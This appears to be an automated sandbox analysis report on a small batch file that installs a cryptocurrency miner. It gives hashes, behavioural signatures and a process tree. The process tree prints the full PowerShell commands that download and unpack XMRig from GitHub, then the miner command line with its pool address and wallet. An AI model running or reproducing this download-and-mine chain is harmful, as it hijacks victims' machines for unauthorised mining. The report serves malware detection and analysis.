Analysis

  • max time kernel
    1791s
  • max time network
    1805s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 07:23

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3624
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2484

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    153a0bf4e13267308e56d155e5a04bef

    SHA1

    8a81f9dcbd9b3061f0d6517bb3e778b80af0f486

    SHA256

    31c4c0e8bab12e7015ead45c0a9c1b965ef903a06cb076bb25b15e52ca8a5462

    SHA512

    c3e9c69a146a77d78dc718dc2fadb57b089ae91c4d190823eb73812eb5061e32476555cd985f50118716234f0f3fc5fce76d99e21cbb478e7e111a358df4c3b6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wf3rvh4g.nql.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    595KB

    MD5

    7b9d9a36913302b82d748ac03c1f15a9

    SHA1

    92c98d5ef17fb0d46551435b75cdc5b56005a4fb

    SHA256

    c94e1e2b9d729f339f814037bc9725f9c1193e51765ecf4028314179703cef2a

    SHA512

    3853b1a3fa3636a41aa9d1ab1d6ef247e33733f0d553456293c85baa453365a7f8426239dc203df381e0070bc82238a191f0dc45a17164e7cd5b939c02969b6f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    173KB

    MD5

    44e67d1fc62b7e39af3b9be66a03b199

    SHA1

    453746318ff19a140f04e612f9af5ae5cbd9efa3

    SHA256

    29b9214329b32d2742a0799cb0f50022b293f0fa9a94ea26aec795b9e469cdd0

    SHA512

    bc166cf789402a81eb52396c1e40e2a53141622e7b906704496182608d0224a51a5e3a5d194fdffab15941bca2a597f940f3eeec387aaf64b19e8627394b66b1

  • memory/2484-147-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-132-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-188-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-187-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-186-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-185-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-184-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-183-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-182-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-181-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-180-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-179-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-178-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-177-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-120-0x0000019477760000-0x0000019477780000-memory.dmp

    Filesize

    128KB

  • memory/2484-121-0x0000019479080000-0x00000194790C0000-memory.dmp

    Filesize

    256KB

  • memory/2484-122-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-150-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-124-0x00000194777B0000-0x00000194777D0000-memory.dmp

    Filesize

    128KB

  • memory/2484-123-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-126-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-127-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-129-0x00000194790C0000-0x00000194790E0000-memory.dmp

    Filesize

    128KB

  • memory/2484-128-0x00000194777B0000-0x00000194777D0000-memory.dmp

    Filesize

    128KB

  • memory/2484-130-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-131-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-149-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-133-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-134-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-135-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-136-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-137-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-138-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-139-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-140-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-141-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-142-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-143-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-144-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-145-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-146-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-176-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-158-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-175-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-125-0x00000194790C0000-0x00000194790E0000-memory.dmp

    Filesize

    128KB

  • memory/2484-151-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-152-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-153-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-154-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-155-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-156-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-157-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-148-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-159-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-160-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-161-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-162-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-163-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-164-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-165-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-166-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-167-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-168-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-169-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-170-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-171-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-172-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-173-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2484-174-0x00007FF73E5E0000-0x00007FF73F0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/3624-41-0x000001D5DEC70000-0x000001D5DEC80000-memory.dmp

    Filesize

    64KB

  • memory/3624-66-0x000001D5DEC70000-0x000001D5DEC80000-memory.dmp

    Filesize

    64KB

  • memory/3624-42-0x000001D5DEC70000-0x000001D5DEC80000-memory.dmp

    Filesize

    64KB

  • memory/3624-117-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/3624-40-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/3624-93-0x000001D5DEE60000-0x000001D5DEE6A000-memory.dmp

    Filesize

    40KB

  • memory/3624-80-0x000001D5DF000000-0x000001D5DF012000-memory.dmp

    Filesize

    72KB

  • memory/4248-34-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4248-5-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4248-25-0x000001C160080000-0x000001C160090000-memory.dmp

    Filesize

    64KB

  • memory/4248-26-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

    Filesize

    9.9MB

  • memory/4248-10-0x000001C160340000-0x000001C1603B6000-memory.dmp

    Filesize

    472KB

  • memory/4248-9-0x000001C160080000-0x000001C160090000-memory.dmp

    Filesize

    64KB

  • memory/4248-7-0x000001C160080000-0x000001C160090000-memory.dmp

    Filesize

    64KB

  • memory/4248-27-0x000001C160080000-0x000001C160090000-memory.dmp

    Filesize

    64KB

  • memory/4248-28-0x000001C160080000-0x000001C160090000-memory.dmp

    Filesize

    64KB

  • memory/4248-29-0x000001C160080000-0x000001C160090000-memory.dmp

    Filesize

    64KB

  • memory/4248-4-0x000001C160190000-0x000001C1601B2000-memory.dmp

    Filesize

    136KB